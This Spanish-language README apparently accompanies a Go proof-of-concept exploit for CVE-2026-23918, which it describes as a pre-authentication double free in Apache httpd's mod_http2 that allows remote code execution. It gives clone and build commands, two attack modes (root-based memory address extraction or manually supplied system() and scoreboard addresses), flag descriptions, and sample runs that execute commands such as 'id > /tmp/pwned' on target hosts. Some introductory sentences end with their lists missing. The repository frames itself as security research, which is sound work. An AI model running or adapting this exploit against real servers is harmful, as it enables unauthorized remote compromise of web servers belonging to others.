
Exploit de prueba de concepto basado en Go para CVE-2026-23918 que apunta a una vulnerabilidad de doble liberación en mod_http2 de Apache httpd, permitiendo la ejecución remota de código previa autenticación mediante secuencias de rociado de memoria y activación.
Este repositorio contiene una implementación de prueba de concepto escrita en Go para un escenario de corrupción de memoria antes de la autenticación que afecta a Apache httpd con mod_http2. El código en este repositorio demuestra un enfoque de spray-and-trigger contra un objetivo vulnerable y está destinado a investigación de seguridad autorizada, pruebas y análisis defensivo.
El proyecto se centra en un exploit de prueba de concepto para CVE-2026-23918 y proporciona una implementación en un solo archivo en exploit_poc.go. El programa:
Este repositorio no está destinado para uso no autorizado contra sistemas de terceros.
Antes de compilar o ejecutar el PoC, asegúrate de que estén disponibles los siguientes elementos:
Compila el binario con el siguiente comando:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
Esto genera un ejecutable llamado exploit en la raíz del proyecto.


El PoC soporta dos modos operativos:
Este modo requiere acceso de root y extrae automáticamente las direcciones de memoria necesarias del proceso worker de Apache objetivo.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
Este modo requiere que se proporcionen manualmente las direcciones de la función system y del slot de solicitud del scoreboard.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
Las opciones principales son:
--host - Dirección IP o nombre de host objetivo--port - Puerto objetivo (por defecto: 443)--workers - Número de hilos de trabajo de spray (por defecto: 32)--cmd - Comando a ejecutar en el objetivo--pid - ID del proceso worker de Apache para extracción automática de direcciones de memoria--system - Dirección del símbolo system en modo manual--scoreboard - Dirección del slot de solicitud del scoreboard en modo manualsudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
Este repositorio se proporciona con fines educativos y de evaluación de seguridad defensiva. Cualquier uso fuera de un entorno controlado y autorizado no se recomienda y puede violar leyes o políticas aplicables.